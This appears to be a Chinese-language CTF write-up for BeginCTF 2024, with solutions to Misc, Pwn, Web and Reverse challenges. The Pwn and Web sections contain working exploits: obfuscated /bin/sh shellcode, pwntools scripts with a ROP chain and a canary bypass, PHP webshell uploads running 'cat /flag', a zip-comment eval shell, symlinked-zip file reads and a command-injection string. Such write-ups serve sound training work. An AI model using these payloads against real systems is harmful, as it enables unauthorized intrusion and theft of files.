# BeginCTF 2024 Writeup

# 前言

被我吃了

# Misc

# 下一站上岸

写出两个图形的接触点个数,得到 221022201122120120111011110222012101

0 是间隔,1 是 . ,2 是 - , 替换一下摩斯解一下即可,提交 flag 要转成小写

# CCCC

题目只允许使用 $,01234678;=@ACDEGHJKLNOPRTUZ[]acdgimnorstuwyz{} 来构造代码

学习一下这篇博客 when-is-main-not-a-function , 我们可以尝试构造一段代码直接 get shell

但是因为过滤了很多字符,对于数字 5 和 9 的过滤,可以把他转为八进制

实际转完后的代码里还是有很多 5 和 9, 这就要求 shellcode 必须要控制的很好了 (nop 的合理使用), 构造出如下代码

void main()
{
  asm(
    "add ecx,1;"
    "mov rdx, 0xf0f0f0f0f0f0f0f;"
    "add ebx,1;"
    "nop;"
    "add ecx,1;"
    "push rdx;"
    "nop;"
    "add rcx,1;"
    "mov rdx, 0xf0f0f0f0f0f0f0f ^ 0x68732f6e69622f;"
    "add rcx,3;"
    "nop;"
    "xor [rsp], rdx;"
    "nop;"
    "mov rdi, rsp;"
    "xor edx, edx;" 
    "xor esi, esi;" 
    "xor rax,rax;"
    "nop;"
    "xor rax,0x3b;"
    "syscall;"
  );
}

编译的时候要加个 -masm=intel 参数,最终 payload

const int main[]={1208074627,01703607672,01703607417,0160701417,0160301620,020322110122,027222000701,014131466440,01731676040,63013704,338774160,2303234084,06164430747,030014244366,036040644220,022001207473};

get flag

$ pwd > /dev/stdout
/tmp
$ ls .. > /dev/stdout
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
$ ls /home > /dev/stdout
ctf
$ ls /home/ctf > /dev/stdout
flag_F3E189706782EFC6D8635593572EF2A5A2471190933BCB0D2480E54F4D705646
server.py
$ cat /home/ctf/flag_F3E189706782EFC6D8635593572EF2A5A2471190933BCB0D2480E54F4D705646 > /dev/stdout
flag{0ld_Gcc_HAV3_w3rl0D_tr1CK_0F_rOda74_ANd_yoU_4LsO_got_W0nD3RfUL_sHEIICOdE_5k1Il_NICe_JOb_1cfddbc1ada7}

# 你知道中国文化嘛 1.0

base32 解码,但是有 5 个地方被修改了,可以根据解码后的八卦再解码的社会主义核心价值观来修复

import base64
# 修复,解 base32
s = "4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFX4KMLDYUYWLRJRNXCTCZ6FGFT4KMLJYUYW7RJRMXCTC26FGFV4KMLFYUYWHRJRMPCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYW3RJRMXCTC3OFGFT4KMLFYUYWLRJRNPCTCZ6FGFU4KMLNYUYWLRJRNXCTCZOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNXCTCZOFGFW4KMLHYUYWLRJRMXCTC26FGFT4KMLJYUYW3RJRMXCTC3OFGFS4KMLFYUYW7RJRM7CTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC3OFGFS4KMLFYUYW3RJRMXCTCYOFGFX4KMLHYUYWTRJRNXCTCZOFGFT4KMLBYUYWLRJRMPCTC3OFGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGF$4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYW7RJRMPCTCZOFGFW4KMLHYUYWPRJRNHCTC36FGFS4KMLLYUYWXRJRMXCTCY6FGFR4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLLYUYWLRJRN7CTCY6FGFS4KMLNYUYWPRJRM7CTC2OFGFX4KMLFYUYWXRJRNPCTCZOFGFR4KMLDYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYW7RJRMXCTCY6FGFQ4KMLFYUYW3RJRMPCTCZ6FGFU4KMLLYUYWLRJRM7CTCZ6FGFS4KMLPYUYWXRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFX4KMLDYUYWLRJRNXCTCZ6FGFT4KMLJYUYW7RJRMXCTC26FGFV4KMLFYUYWHRJRMPCTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC26FGFQ4KMLFYUYWDRJRN&CTCZOFGFV4KMLFYUYWPRJRNHCTC36FGFS4KMLFYUYWTRJRMXCTC3OFGFR4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLPYUYWLRJRMPCTCYOFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWPRJRM7CTCZOFGFX4KMLLYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTC26FGFX4KMLFYUYWHRJRNHCTCZ6FGFU4KMLLYUYWLRJRN&CTC2OFGFS4KMLPYUYWLRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRN7CTCZOFGFR4KMLBYUYWLRJRNXCTCY6FGFT4KMLJYUYWXRJRMXCTCZ6FGFT4KMLFYUYW7RJRNPCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTC36FGFR4KMLFYUYW3RJRM7CTCZ6FGFU4KMLPYUYWLRJRNPCTC26FGFS4KMLDYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWXRJRMHCTCZOFGFQ4KMLPYUYWLRJRNPCTCZOFGFT4KMLJYUYW7RJRMXCTCZOFGFU4KMLFYUYW3RJRMPCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNPCTCYOFGFS4KMLLYUYW7RJRMXCTCZ6FGFS4KMLHYUYWTRJRNHCTCZOFGFX4KMLPYUYWLRJRNHCTCY6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFV4KMLFYUYWLRJRMXCTCZOFGFR4KMLJYUYWPRJRNPCTCYOFGFS4KMLNYUYWDRJRMXCTCZOFGFQ4KMLHYUYWTRJRNXCTCZOFGFS4KMLNYUYWLRJRMHCTC36FGFT4KMLJYUYW3RJRMXCTCZ6FGFQ4KMLFYUYWHRJRNXCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLPYUYWHRJRMXCTC3OFGFT4KMLHYUYWTRJRN7CTCZOFGFV4KMLLYUYWLRJRMPCTCY6FGFT4KMLJYUYWXRJRMXCTCYOFGFV4KMLFYUYWXRJRNHCTCZ6FGFU4KMLNYUYWLRJRNPCTC26FGFS4KMLJYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLNYUYWLRJRMXCTC26FGFS4KMLLYUYWTRJRM7CTC2OFGFU4KMLFYUYW7RJRMHCTCZOFGFT4KMLFYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLLYUYWDRJRMXCTCYOFGFX4KMLFYUYWXRJRMXCTCZ6FGFU4KMLPYUYWLRJRMXCTC2OFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFQ4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYW3RJRMXCTC26FGFV4KMLFYUYWTRJRM7CTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYW3RJRMXCTC3OFGFT4KMLFYUYWLRJRNPCTCZ6FGFU4KMLNYUYWLRJRNXCTCZOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNXCTCZOFGFS4KMLLYUYWLRJRNPCTC2OFGFT4KMLJYUYWTRJRMXCTC36FGFQ4KMLFYUYWPRJRMXCTCZ6FGFU4KMLNYUYWLRJRNXCTCZ6FGFS4KMLFYUYWXRJRM7CTC2OFGFW4KMLFYUYW3RJRMXCTCZOFGFX4KMLHYUYWPRJRNHCTC26FGFS4KMLDYUYW7RJRMXCTCY6FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLNYUYWLRJRMHCTC2OFGFT4KMLJYUYWXRJRMXCTC36FGFR4KMLFYUYW3RJRM7CTCZ6FGFU4KMLPYUYWLRJRNPCTC26FGFS4KMLDYUYWHRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNXCTCZOFGFW4KMLBYUYWLRJRMXCTCY6FGFT4KMLJYUYWTRJRMXCTC36FGFQ4KMLFYUYW7RJRM7CTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC3OFGFS4KMLNYUYWPRJRMXCTCZOFGFV4KMLHYUYWTRJRNXCTCZOFGFW4KMLFYUYWLRJRN7CTCZ6FGFT4KMLJYUYW3RJRMXCTCZOFGFW4KMLFYUYWDRJRN7CTCZ6FGFU4KMLNYUYWLRJRM7CTCYOFGFS4KMLDYUYW3RJRM7CTC26FGFQ4KMLFYUYWXRJRN7CTCZOFGFT4KMLFYUYWPRJRNHCTC2OFGFS4KMLPYUYW7RJRMXCTC2OFGFR4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLLYUYWLRJRMXCTCZOFGFS4KMLDYUYWTRJRM7CTC26FGFQ4KMLFYUYW3RJRMHCTCZOFGFS4KMLBYUYWPRJRNHCTC3OFGFS4KMLNYUYWDRJRMXCTCZOFGFR4KMLHYUYWTRJRNHCTCZOFGFX4KMLBYUYWLRJRN7CTCZ6FGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFX4KMLFYUYWHRJRMHCTCZOFGFW4KMLDYUYWPRJRNHCTC26FGFS4KMLHYUYWPRJRMXCTC36FGFV4KMLHYUYWTRJRNXCTCZOFGFS4KMLNYUYWLRJRMHCTC36FGFT4KMLJYUYW3RJRMXCTCZ6FGFQ4KMLFYUYWHRJRNXCTCZ6FGFV4KMLBYUYWLRJRNPCTC36FGFS4KMLHYUYWLRJRM7CTC2OFGFU4KMLFYUYW7RJRN7CTCZOFGFU4KMLDYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYWXRJRMXCTCZOFGFS4KMLFYUYWHRJRNHCTCZ6FGFV4KMLBYUYWLRJRNXCTCYOFGFS4KMLFYUYWDRJRM7CTC2OFGFW4KMLFYUYW3RJRMHCTCZOFGFS4KMLDYUYWPRJRNHCTC2OFGFS4KMLPYUYWDRJRMXCTC36FGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLNYUYWLRJRMXCTC3OFGFS4KMLBYUYW7RJRM7CTC2OFGFW4KMLFYUYWPRJRMHCTCZOFGFR4KMLNYUYWPRJRNHCTC26FGFS4KMLBYUYWXRJRMXCTC26FGFU4KMLHYUYWTRJRNXCTCZOFGFV4KMLLYUYWLRJRNHCTCZ6FGFT4KMLJYUYWXRJRMXCTCY6FGFX4KMLFYUYWHRJRM7CTCZ6FGFU4KMLLYUYWLRJRMXCTC3OFGFS4KMLBYUYWTRJRM7CTC2OFGFX4KMLFYUYWHRJRMHCTCZOFGFW4KMLDYUYWPRJRNHCTC26FGFS4KMLHYUYWPRJRMXCTC36FGFV4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC@OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLPYUYWLRJRMPCTCYOFGFS4KMLNYUYWHRJRM7CTC2OFGFV4KMLFYUYWPRJRM7CTCZOFGFX4KMLLYUYWPRJRNHCTC26FGFS4KMLFYUYWLRJRMXCTCY6FGFU4KMLHYUYWXRJRMHCTCZOFGFW4KMLBYUYWLRJRMXCTCYOFGFT4KMLJYUYW3RJRMXCTC3OFGFQ4KMLFYUYWLRJRMPCTCZ6FGFU4KMLJYUYWLRJRN7CTCYOFGFS4KMLPYUYWPRJRM7CTC2OFGFV4KMLFYUYWDRJRNPCTCZOFGFV4KMLJYUYWPRJRNHCTC3OFGFS4KMLLYUYWXRJRMXCTC2OFGFT4KMLHYUYWTRJRNPCTCZOFGFS4KMLFYUYWLRJRMPCTC2OFGFT4KMLLYUYWDRJRMXCTC3OFGFQ4KMLFYUYWLRJRMHCTCZ6FGFU4KMLLYUYWLRJRMHCTC26FGFS4KMLLYUYWTRJRM7CTC@OFGFW4KMLFYUYWXRJRNPCTCZOFGFU4KMLHYUYWPRJRNHCTC26FGFS4KMLPYUYWHRJRMXCTC3OFGFT4KMLHYUYWTRJRN7CTCZOFGFV4KMLLYUYWLRJRMPCTCYQ===="
fix = [
    "4KMLNYUYWLRJRNPCTC26FGFS",
    "4KMLFYUYWDRJRN7CTCZOFGFV", 
    "4KMLLYUYWLRJRN7CTC2OFGFS", 
    "4KMLFYUYWLRJRMPCTC2OFGFT", 
    "4KMLLYUYWTRJRM7CTC2OFGFW"
]
x = 0
bg = ""
for i in range(335):
    a = s[24 * i : 24 * (i + 1)]
    try:
        bg += base64.b32decode(a).decode()
    except:
        bg += base64.b32decode(fix[x]).decode()
        x = x + 1
# 解八卦: https://blog.csdn.net/lkjlsj/article/details/103742129
def bArrToStr(bArr):
 
    nByte = b''
    for b in bArr:
        nByte += chr(int(b,base=8)).encode('raw_unicode_escape')
 
    return bytes.decode(nByte)
 
def to8bArr(baguaStr):
    code = {'☰':'0',  # 乾
            '☱':'1',  # 兑
            '☲':'2',  # 离
            '☳':'3',  # 震
            '☴':'4',  # 巽
            '☵':'5',  # 坎
            '☶':'6',  # 艮
            '☷':'7',  # 坤
            }
 
    bArr = []
    temp = []
    for s in baguaStr:
        temp.append(code[s])
    tempStr = ''
    for i in range(len(temp)):
        tempStr += temp[i]
        if i % 3 == 2:
            bArr.append('0o'+tempStr)
            tempStr = ''
    return bArr
arr = to8bArr(bg)
res = bArrToStr(arr)
print(res, end="")

然后社会主义核心价值观解密,最后栅栏 W 型 5 栏解密得到的就是 flag 了

# Tupper

写个脚本把每个文件的内容按顺序提取出来,解码得到一堆数字

搜题目名字,在线工具直接秒了

# real check in

base64 解码即可

# where is crazyman v1.0

Google 识图,秋叶原

# where is crazyman v2.0

Google 识图,Boulevard World

# where is crazyman v3.0

Google Map, 找到 Boudl Al Munsiyah Hotel,旁边有个星巴克,评论区里有段 base64 密文,解码即可

# beginCTF 问卷

填写问卷即可

# Crypto

啊嘞,数学不好捏,一题都不会😥

# Pwn

# unhappy

过滤了 hapyHAPY 这几个字符,可以用异或来绕过,构造一段 shellcode

刚开始试了直接 get shell,但是发现没有权限,试了很多方法都没法直接提权

ls -a 后发现 unhappy 自带 s 权限,那么就可以修改 shellcode 直接 get flag 了

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
r = remote("101.32.220.189", 30172) 
my_asm = """
mov    edi, 0xf3f3f3f3
mov    ebx, 0x9d9a91dc
xor    edi, ebx
mov    dword ptr [rax], edi
mov    edi, 0xf3f3f3f3
mov    ebx, 0x879290dc
xor    edi, ebx
mov    dword ptr [rax+0x4], edi
mov    edi, 0xf3f3f3f3
mov    ebx, 0x9f95dcf3
xor    edi, ebx
mov    DWORD PTR [rax+0x8], edi
mov    edi, 0xf3f3f3f3
mov    ebx, 0xf3f39492
xor    edi, ebx
mov    DWORD PTR [rax+0xc], edi
xor    edi, edi
xor    edi, eax
xor    esi, esi
xor    esi, edi
add    esi, 0x9
xor    edx, edx
mov    DWORD PTR [rdi+0x10], edi
mov    DWORD PTR [rdi+0x14], edx
mov    DWORD PTR [rdi+0x18], esi
mov    DWORD PTR [rdi+0x1c], edx
mov    DWORD PTR [rdi+0x20], edx
mov    DWORD PTR [rdi+0x24], edx
lea    esi,[rdi+0x10]
mov    eax, 0x3b
syscall
ret
"""
shellcode = asm(my_asm)
 
r.sendline(shellcode)
 
r.interactive()

# one_byte

nc 一下,输入很长很长很长一段垃圾字符,你会发现 flag 全出来了 hhh

# gift_rop

ret2syscall, ROPgadget 找到合适的 gadget,构造 rop 链即可

这里可以学习一下 -> ctf-wiki, 注意一下 32 位和 64 位的区别

关闭了标准输出流,用 cat flag 1>&0 就 ok 了

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#p = process("./gift_rop")
p = remote("101.32.220.189", 31285)
# pop rax ; ret
pop_rax_ret = 0x448077
# pop rsi ; ret
pop_rsi_ret = 0x409f9e
# pop rdx ; pop rbx ; ret
pop_rdx_rbx_ret = 0x47f20b
# pop rdi ; ret
pop_rdi_ret = 0x401f2f
syscall_ret = 0x447635
# /bin/sh
binsh = 0x4c50f0
# gdb.attach(p)
payload = b"a"*0x28
payload += p64(pop_rax_ret)     + p64(0x3b)
payload += p64(pop_rdx_rbx_ret) + p64(0)     + p64(0)
payload += p64(pop_rsi_ret)     + p64(0)
payload += p64(pop_rdi_ret)     + p64(binsh)
payload += p64(syscall_ret)
p.sendline(payload)
p.sendline(b"cat flag 1>&0")
p.interactive()

# ezpwn

$ 2
$ ' $($(ls bin) flag)

# cat

很明显的栈溢出

sendline 发送 56 个垃圾字节,末尾带的 \n 刚好覆盖掉 canary 的 0 字节

strcpy 后末尾会有一个 0 字节,可以用来恢复 canary 的 0 字节

知道怎么绕过 canary 后,只要构造 rop 来 ret2text 就好了

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#p = process("./cat")
p = remote("101.32.220.189", 31305)
backdoor = 0x4011FE
#gdb.attach(p, "bp 0x4011FE")
#pause()
# 构造 rop,填充两个垃圾字节,溢出到返回地址
p.send(b"A"*2 + p64(backdoor))
pause()
# 恢复 canary 的 0 字节
p.send(b"B"*24)
pause()
# 覆盖 canary 的 0 字节
p.sendline(b"C"*56)
pause()
p.interactive()

# Web

# zupload

?action=/flag

# zupload-pro

直接传个马上去

import requests
files = {'file':open('1.php','rb')}
res = requests.post("http://101.32.220.189:31328/", files=files).text
print(res)
/uploads/1.php?cmd=system("cat /flag");

# zupload-pro-plus

后端加了点验证,文件名改成 1.zip.php

import requests
files = {'file':open('1.php','rb')}
res = requests.post("http://101.32.220.189:31328/", files=files).text
print(res)
/uploads/1.zip.php?cmd=system("cat /flag");

# zupload-pro-plus-max

在 zip 的注释里写木马 <?php @eval("system('cat /flag');") ?> ,上传

?action=uploads/1.zip

# zupload-pro-plus-max-ultra

压缩包软链接利用

$ ln -s /flag
$ zip --symlinks flag.zip flag

/uploads/flag 就下载下来 flag 了

# zupload-pro-plus-max-ultra-premium

还是可以压缩包软链接利用

# zupload-pro-plus-enhanced

直接绕过前端传个马,同 zupload-pro

# zupload-pro-revenge

直接绕过前端传个马,同 zupload-pro

# Reverse

# 红白机

网上搜个 6502 在线编译的秒了
flag{6502_I_LOVE_u}

# xor

不难,就是分析起来要花点时间

data6 = bytearray.fromhex("606167687b5e62767577546f6f61686c")
data5 = bytearray.fromhex("596f6350746d7969696a6a7c656b2770")
a4 = bytearray.fromhex("3431383033383733363235393031333600")
a5 = bytearray.fromhex("3330393236303636333237383739343700")
for i in range(16): data5[i] ^= a4[16 - i]
for i in range(16): data6[i] ^= a5[16 - i]
for i in range(16): data5[i] ^= a4[i]
for i in range(16): data6[i] ^= a5[i]
for i in range(16): data5[i] ^= a5[16 - i]
for i in range(16): data6[i] ^= a4[16 - i]
data1 = bytearray.fromhex("3633323930373934323037373135353800")
data2 = bytearray.fromhex("3736373936323133383637333530303000")
for i in range(16): data5[i] ^= a5[i]
for i in range(16): data6[i] ^= a4[i]
data4 = data5
data3 = data6
for i in range(16): data3[i] ^= data2[16 - i]
for i in range(16): data4[i] ^= data1[16 - i]
for i in range(16): data3[i] ^= data1[16 - i]
for i in range(16): data4[i] ^= data2[16 - i]
for i in range(16): data3[i] ^= data2[i]
for i in range(16): data4[i] ^= data1[i]
for i in range(16): data3[i] ^= data1[i]
for i in range(16): data4[i] ^= data2[i]
flag = data3 + data4
print(flag.decode())

flag{Virus_gonna_be_terminated!}

# superguesser

静态分析找到了关键函数,猜出来的
img.png

data = bytearray.fromhex("5151525f59435d5f59495a59562e261d2a371a27291728242a3825213d0f323a3c3d36332a")
for i in range(37):
    print(chr(data[i] ^ (i + 51)), end="")

begin{debugging_is_an_anathor_choice}

# 俄语学习

这题不难,耐心分析一下就好了,就是个 rc4

#include <stdio.h>
#include <string.h>
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
{
    int i = 0, j = 0;
    char k[256] = {0};
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}
unsigned char enc[] = {
    0x2b, 0x69, 0x26, 0x5b, 0x40, 0x59, 0x3a, 0x67,
    0x38, 0x5b, 0x26, 0x6c, 0x24, 0x66, 0x38, 0x53,
    0x38, 0x76, 0x24, 0x59, 0x26, 0x65, 0x3e, 0x7b};
unsigned char key[] =
{
  0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 0x35, 0x62, 
  0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 
  0x35, 0x62, 0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 
  0x35, 0x64, 0x35, 0x62, 0x35, 0x6E, 0x8E, 0x00
};
int main()
{
    unsigned char s[256] = {0};
    unsigned char s2[256] = {0};
    
    rc4_init(s, key, strlen(key));
    memcpy(s2, s, 256);
    rc4_crypt(s2, enc, strlen(enc));
    rc4_crypt(s, enc, strlen(enc));
    for (size_t i = 0;i < strlen(enc); ++i)
    {
        unsigned char chr = enc[i] + 112 - key[i];
        printf("%c", chr);
    }
}

flag{Russian_is_so_easy}

# ezpython

pyinstaller 打包的 exe,用 3.8 版本的 python,调用 pyinstxtractor.py 解包程序

pycdc 解 ezpython.pyc , 发现是个 sm4 加密,缺少 key 和 enc

继续解一下 PYZ-00.pyz_extracted/secret.pyc ,惊喜的发现里面就是你想要的

哎嘿,你以为可以解密了?Nonono!

继续解一下 PYZ-00.pyz_extracted/gmssl/sm4.pyc

一点点对比,好嘛,setkey 那里对 key 做了 xor 37 的加密

img.png

然后搓代码解密就好喽

from gmssl import sm4
import base64
key = list('BeginCTFBeginCTF')
key = "".join([chr(ord(i) ^ 37) for i in key])
print(key)
enc = 'JmjJEAJGMT6F9bmC+Vyxy8Z1lpfaJzdEX6BGG/qgqUjUpQaYSON1CnZyX9YXTEClSRYm7PFZtGxmJw6LPuw1ww=='
def pad_pkcs7(data):
    '''PKCS#7填充'''
    padding_len = 16 - len(data) % 16
    padding = bytes([
        padding_len] * padding_len)
    return data + padding
def unpad_pkcs7(padded_data):
    '''PKCS#7去填充'''
    padding_len = padded_data[-1]
    return padded_data[:-padding_len]
class SM4:
    
    def __init__(self):
        self.gmsm4 = sm4.CryptSM4()
    
    def encryptSM4(self, encrypt_key, value):
        gmsm4 = self.gmsm4
        gmsm4.set_key(encrypt_key.encode(), sm4.SM4_ENCRYPT)
        padded_value = pad_pkcs7(value.encode())
        encrypt_value = gmsm4.crypt_ecb(padded_value)
        return base64.b64encode(encrypt_value)
    
    def decryptSM4(self, key, value):
        data = base64.b64decode(value)
        gmsm4 = self.gmsm4
        gmsm4.set_key(key.encode(), sm4.SM4_DECRYPT)
        decrypt_value = gmsm4.crypt_ecb(data)
        return decrypt_value
sm4_instance = SM4()
flag = sm4_instance.decryptSM4(key, enc)
print(unpad_pkcs7(flag).decode())

flag{Pay_M0re_@ttention_to_th3_key!!}

# real checkin xor

签到题,白给

